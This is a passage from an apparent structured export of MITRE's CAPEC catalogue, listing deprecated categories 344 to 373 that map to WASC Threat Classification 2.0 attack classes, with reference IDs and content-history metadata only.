xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Denial of Service - see view 333</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47641 + Content_History_47641 + + + + + + + + + + + + + + + + #indSubmissionSubmission47642 + Submission_47642 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47647 + Modification_47647 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47653 + Modification_47653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships, Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47659 + Previous_Entry_Name_47659 + + + + + + + + + 2020-12-17 + + + + + WASC-10 - Denial of Service + + + + + + + + + + + + #Category-344 + DEPRECATED: WASC-11 - Brute Force + + + + + + + + + 344 + + + + + DEPRECATED: WASC-11 - Brute Force + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Brute Force</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47664 + Content_History_47664 + + + + + + + + + + + + + + + + #indSubmissionSubmission47665 + Submission_47665 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47670 + Modification_47670 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47676 + Modification_47676 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47682 + Previous_Entry_Name_47682 + + + + + + + + + 2020-12-17 + + + + + WASC-11 - Brute Force + + + + + + + + + + + + #Category-345 + DEPRECATED: WASC-12 - Content Spoofing + + + + + + + + + 345 + + + + + DEPRECATED: WASC-12 - Content Spoofing + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Content Spoofing</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47687 + Content_History_47687 + + + + + + + + + + + + + + + + #indSubmissionSubmission47688 + Submission_47688 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47693 + Modification_47693 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47699 + Modification_47699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47705 + Previous_Entry_Name_47705 + + + + + + + + + 2020-12-17 + + + + + WASC-12 - Content Spoofing + + + + + + + + + + + + #Category-346 + DEPRECATED: WASC Threat Classification 2.0 - WASC-13 - Information Leakage + + + + + + + + + 346 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-13 - Information Leakage + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Information Leakage</xhtml:div> + + + + + + + + + + + + #indReferenceReference47713 + Reference_47713 + + + + + + + + + REF-288 + + + + + WASC-13 - Information Leakage + + + + + + + + + + + + #indContentHistoryContentHistory47715 + Content_History_47715 + + + + + + + + + + + + + + + + #indSubmissionSubmission47716 + Submission_47716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-347 + DEPRECATED: WASC Threat Classification 2.0 - WASC-14 - Server Misconfiguration + + + + + + + + + 347 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-14 - Server Misconfiguration + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Server Misconfiguration</xhtml:div> + + + + + + + + + + + + #indReferenceReference47728 + Reference_47728 + + + + + + + + + REF-289 + + + + + WASC-14 - Server Misconfiguration + + + + + + + + + + + + #indContentHistoryContentHistory47730 + Content_History_47730 + + + + + + + + + + + + + + + + #indSubmissionSubmission47731 + Submission_47731 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-348 + DEPRECATED: WASC Threat Classification 2.0 - WASC-15 - Application Misconfiguration + + + + + + + + + 348 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-15 - Application Misconfiguration + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Application Misconfiguration</xhtml:div> + + + + + + + + + + + + #indReferenceReference47744 + Reference_47744 + + + + + + + + + REF-290 + + + + + WASC-15 - Application Misconfiguration + + + + + + + + + + + + #indContentHistoryContentHistory47746 + Content_History_47746 + + + + + + + + + + + + + + + + #indSubmissionSubmission47747 + Submission_47747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-349 + DEPRECATED: WASC Threat Classification 2.0 - WASC-16 - Directory Indexing + + + + + + + + + 349 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-16 - Directory Indexing + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Directory Indexing</xhtml:div> + + + + + + + + + + + + #indReferenceReference47759 + Reference_47759 + + + + + + + + + REF-11 + + + + + WASC-16 - Directory Indexing + + + + + + + + + + + + #indContentHistoryContentHistory47761 + Content_History_47761 + + + + + + + + + + + + + + + + #indSubmissionSubmission47762 + Submission_47762 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-350 + DEPRECATED: WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem Permissions + + + + + + + + + 350 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem Permissions + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Improper Filesystem Permissions</xhtml:div> + + + + + + + + + + + + #indReferenceReference47775 + Reference_47775 + + + + + + + + + REF-293 + + + + + WASC-17 - Improper Filesystem Permissions + + + + + + + + + + + + #indContentHistoryContentHistory47777 + Content_History_47777 + + + + + + + + + + + + + + + + #indSubmissionSubmission47778 + Submission_47778 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-351 + DEPRECATED: WASC-18 - Credential/Session Prediction + + + + + + + + + 351 + + + + + DEPRECATED: WASC-18 - Credential/Session Prediction + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Credential/Session Prediction</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47788 + Content_History_47788 + + + + + + + + + + + + + + + + #indSubmissionSubmission47789 + Submission_47789 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47794 + Modification_47794 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47800 + Modification_47800 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47806 + Previous_Entry_Name_47806 + + + + + + + + + 2020-12-17 + + + + + WASC-18 - Credential/Session Prediction + + + + + + + + + + + + #Category-352 + DEPRECATED: WASC-19 - SQL Injection + + + + + + + + + 352 + + + + + DEPRECATED: WASC-19 - SQL Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item SQL Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47811 + Content_History_47811 + + + + + + + + + + + + + + + + #indSubmissionSubmission47812 + Submission_47812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47817 + Modification_47817 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47823 + Previous_Entry_Name_47823 + + + + + + + + + 2020-12-17 + + + + + WASC-19 - SQL Injection + + + + + + + + + + + + #Category-353 + DEPRECATED: WASC Threat Classification 2.0 - WASC-20 - Improper Input Handling + + + + + + + + + 353 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-20 - Improper Input Handling + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Improper Input Handling</xhtml:div> + + + + + + + + + + + + #indReferenceReference47831 + Reference_47831 + + + + + + + + + REF-108 + + + + + WASC-20 - Improper Input Handling + + + + + + + + + + + + #indContentHistoryContentHistory47833 + Content_History_47833 + + + + + + + + + + + + + + + + #indSubmissionSubmission47834 + Submission_47834 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-354 + DEPRECATED: WASC Threat Classification 2.0 - WASC-21 - Insufficient Anti-automation + + + + + + + + + 354 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-21 - Insufficient Anti-automation + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Insufficient Anti-automation</xhtml:div> + + + + + + + + + + + + #indReferenceReference47847 + Reference_47847 + + + + + + + + + REF-297 + + + + + WASC-21 - Insufficient Anti-automation + + + + + + + + + + + + #indContentHistoryContentHistory47849 + Content_History_47849 + + + + + + + + + + + + + + + + #indSubmissionSubmission47850 + Submission_47850 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-355 + DEPRECATED: WASC Threat Classification 2.0 - WASC-22 - Improper Output Handling + + + + + + + + + 355 + + + + + DEPRECATED: WASC Threat Classification 2.0 - WASC-22 - Improper Output Handling + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Improper Output Handling</xhtml:div> + + + + + + + + + + + + #indReferenceReference47862 + Reference_47862 + + + + + + + + + REF-298 + + + + + WASC-22 - Improper Output Handling + + + + + + + + + + + + #indContentHistoryContentHistory47864 + Content_History_47864 + + + + + + + + + + + + + + + + #indSubmissionSubmission47865 + Submission_47865 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #Category-356 + DEPRECATED: WASC-23 - XML Injection + + + + + + + + + 356 + + + + + DEPRECATED: WASC-23 - XML Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XML Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47874 + Content_History_47874 + + + + + + + + + + + + + + + + #indSubmissionSubmission47875 + Submission_47875 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47880 + Modification_47880 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47886 + Previous_Entry_Name_47886 + + + + + + + + + 2020-12-17 + + + + + WASC-23 - XML Injection + + + + + + + + + + + + #Category-357 + DEPRECATED: WASC-24 - HTTP Request Splitting + + + + + + + + + 357 + + + + + DEPRECATED: WASC-24 - HTTP Request Splitting + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item HTTP Request Splitting</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47892 + Content_History_47892 + + + + + + + + + + + + + + + + #indSubmissionSubmission47893 + Submission_47893 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47898 + Modification_47898 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47904 + Modification_47904 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47910 + Previous_Entry_Name_47910 + + + + + + + + + 2020-12-17 + + + + + WASC-24 - HTTP Request Splitting + + + + + + + + + + + + #Category-358 + DEPRECATED: WASC-25 - HTTP Response Splitting + + + + + + + + + 358 + + + + + DEPRECATED: WASC-25 - HTTP Response Splitting + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item HTTP Response Splitting</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47916 + Content_History_47916 + + + + + + + + + + + + + + + + #indSubmissionSubmission47917 + Submission_47917 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47922 + Modification_47922 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47928 + Modification_47928 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47934 + Previous_Entry_Name_47934 + + + + + + + + + 2020-12-17 + + + + + WASC-25 - HTTP Response Splitting + + + + + + + + + + + + #Category-359 + DEPRECATED: WASC-26 - HTTP Request Smuggling + + + + + + + + + 359 + + + + + DEPRECATED: WASC-26 - HTTP Request Smuggling + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item HTTP Request Smuggling</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47940 + Content_History_47940 + + + + + + + + + + + + + + + + #indSubmissionSubmission47941 + Submission_47941 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47946 + Modification_47946 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47952 + Modification_47952 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47958 + Previous_Entry_Name_47958 + + + + + + + + + 2020-12-17 + + + + + WASC-26 - HTTP Request Smuggling + + + + + + + + + + + + #Category-360 + DEPRECATED: WASC-27 - HTTP Response Smuggling + + + + + + + + + 360 + + + + + DEPRECATED: WASC-27 - HTTP Response Smuggling + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item HTTP Response Smuggling</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47964 + Content_History_47964 + + + + + + + + + + + + + + + + #indSubmissionSubmission47965 + Submission_47965 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47970 + Modification_47970 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47976 + Modification_47976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName47982 + Previous_Entry_Name_47982 + + + + + + + + + 2020-12-17 + + + + + WASC-27 - HTTP Response Smuggling + + + + + + + + + + + + #Category-361 + DEPRECATED: WASC-28 - Null Byte Injection + + + + + + + + + 361 + + + + + DEPRECATED: WASC-28 - Null Byte Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Null Byte Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory47987 + Content_History_47987 + + + + + + + + + + + + + + + + #indSubmissionSubmission47988 + Submission_47988 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification47993 + Modification_47993 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification47999 + Modification_47999 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48005 + Previous_Entry_Name_48005 + + + + + + + + + 2020-12-17 + + + + + WASC-28 - Null Byte Injection + + + + + + + + + + + + #Category-362 + DEPRECATED: WASC-29 - LDAP Injection + + + + + + + + + 362 + + + + + DEPRECATED: WASC-29 - LDAP Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item LDAP Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48010 + Content_History_48010 + + + + + + + + + + + + + + + + #indSubmissionSubmission48011 + Submission_48011 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48016 + Modification_48016 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48022 + Modification_48022 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48028 + Previous_Entry_Name_48028 + + + + + + + + + 2020-12-17 + + + + + WASC-29 - LDAP Injection + + + + + + + + + + + + #Category-363 + DEPRECATED: WASC-30 - Mail Command Injection + + + + + + + + + 363 + + + + + DEPRECATED: WASC-30 - Mail Command Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Mail Command Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48034 + Content_History_48034 + + + + + + + + + + + + + + + + #indSubmissionSubmission48035 + Submission_48035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48040 + Modification_48040 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48046 + Modification_48046 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48052 + Previous_Entry_Name_48052 + + + + + + + + + 2020-12-17 + + + + + WASC-30 - Mail Command Injection + + + + + + + + + + + + #Category-364 + DEPRECATED: WASC-31 - OS Commanding + + + + + + + + + 364 + + + + + DEPRECATED: WASC-31 - OS Commanding + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item OS Commanding</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48057 + Content_History_48057 + + + + + + + + + + + + + + + + #indSubmissionSubmission48058 + Submission_48058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48063 + Modification_48063 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48069 + Previous_Entry_Name_48069 + + + + + + + + + 2020-12-17 + + + + + WASC-31 - OS Commanding + + + + + + + + + + + + #Category-365 + DEPRECATED: WASC-32 - Routing Detour + + + + + + + + + 365 + + + + + DEPRECATED: WASC-32 - Routing Detour + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Routing Detour</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48074 + Content_History_48074 + + + + + + + + + + + + + + + + #indSubmissionSubmission48075 + Submission_48075 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48080 + Modification_48080 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48086 + Modification_48086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48092 + Previous_Entry_Name_48092 + + + + + + + + + 2020-12-17 + + + + + WASC-32 - Routing Detour + + + + + + + + + + + + #Category-366 + DEPRECATED: WASC-33 - Path Traversal + + + + + + + + + 366 + + + + + DEPRECATED: WASC-33 - Path Traversal + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Path Traversal</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48097 + Content_History_48097 + + + + + + + + + + + + + + + + #indSubmissionSubmission48098 + Submission_48098 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48103 + Modification_48103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48109 + Previous_Entry_Name_48109 + + + + + + + + + 2020-12-17 + + + + + WASC-33 - Path Traversal + + + + + + + + + + + + #Category-367 + DEPRECATED: WASC-34 - Predictable Resource Location + + + + + + + + + 367 + + + + + DEPRECATED: WASC-34 - Predictable Resource Location + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Predictable Resource Location</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48115 + Content_History_48115 + + + + + + + + + + + + + + + + #indSubmissionSubmission48116 + Submission_48116 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48121 + Modification_48121 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48127 + Modification_48127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48133 + Previous_Entry_Name_48133 + + + + + + + + + 2020-12-17 + + + + + WASC-34 - Predictable Resource Location + + + + + + + + + + + + #Category-368 + DEPRECATED: WASC-35 - SOAP Array Abuse + + + + + + + + + 368 + + + + + DEPRECATED: WASC-35 - SOAP Array Abuse + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item SOAP Array Abuse</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48138 + Content_History_48138 + + + + + + + + + + + + + + + + #indSubmissionSubmission48139 + Submission_48139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48144 + Modification_48144 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48150 + Modification_48150 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48156 + Previous_Entry_Name_48156 + + + + + + + + + 2020-12-17 + + + + + WASC-35 - SOAP Array Abuse + + + + + + + + + + + + #Category-369 + DEPRECATED: WASC-36 - SSI Injection + + + + + + + + + 369 + + + + + DEPRECATED: WASC-36 - SSI Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item SSI Injection</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48161 + Content_History_48161 + + + + + + + + + + + + + + + + #indSubmissionSubmission48162 + Submission_48162 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48167 + Modification_48167 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48173 + Previous_Entry_Name_48173 + + + + + + + + + 2020-12-17 + + + + + WASC-36 - SSI Injection + + + + + + + + + + + + #Category-370 + DEPRECATED: WASC-37 - Session Fixation + + + + + + + + + 370 + + + + + DEPRECATED: WASC-37 - Session Fixation + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item Session Fixation</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48178 + Content_History_48178 + + + + + + + + + + + + + + + + #indSubmissionSubmission48179 + Submission_48179 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48184 + Modification_48184 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Relationships + + + + + + + + + + + + #indModificationModification48190 + Modification_48190 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48196 + Previous_Entry_Name_48196 + + + + + + + + + 2020-12-17 + + + + + WASC-37 - Session Fixation + + + + + + + + + + + + #Category-371 + DEPRECATED: WASC-38 - URL Redirector Abuse + + + + + + + + + 371 + + + + + DEPRECATED: WASC-38 - URL Redirector Abuse + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item URL Redirector Abuse</xhtml:div> + + + + + + + + + + + + #indNoteNote48202 + Note_48202 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">It should be noted that the member relation to CAPEC-194 is not as clean as could be. CAPEC-194 would ideally have another child (other than CAPEC-543: Counterfeit Websites) that is specific to URL Redirection. Unlike CAPEC-543, URL Redirection does not require a counterfeit website, but rather the user to simply click a link. With that said, we have created this relationship to CAPEC-194 due to the related weakness (CWE-601), which specifically deals with URL Redirection, and will revist this at a later date.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory48204 + Content_History_48204 + + + + + + + + + + + + + + + + #indSubmissionSubmission48205 + Submission_48205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48210 + Modification_48210 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Relationship_Notes, Relationships + + + + + + + + + + + + #indModificationModification48216 + Modification_48216 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status, References, Relationships + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48222 + Previous_Entry_Name_48222 + + + + + + + + + 2020-12-17 + + + + + WASC-38 - URL Redirector Abuse + + + + + + + + + + + + #Category-372 + DEPRECATED: WASC-39 - XPath Injection + + + + + + + + + 372 + + + + + DEPRECATED: WASC-39 - XPath Injection + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This category is related to the WASC Threat Classification 2.0 item XPath Injection</xhtml:div> + + + + + 83 + + + + + + + + + + + + #indReferenceReference48231 + Reference_48231 + + + + + + + + + REF-315 + + + + + WASC-39 - XPath Injection + + + + + + + + + + + + #indContentHistoryContentHistory48233 + Content_History_48233 + + + + + + + + + + + + + + + + #indSubmissionSubmission48234 + Submission_48234 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification48239 + Modification_48239 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, @Status + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName48245 + Previous_Entry_Name_48245 + + + + + + + + + 2020-12-17 + + + + + WASC-39 - XPath Injection + + + + + + + + + + + + #Category-373 + DEPRECATED: WASC Threat Classification 2.0 - WASC-40 - Insufficient Process Validation + + + + + + + + + 373 + + + + + DEPRECATED: WASC 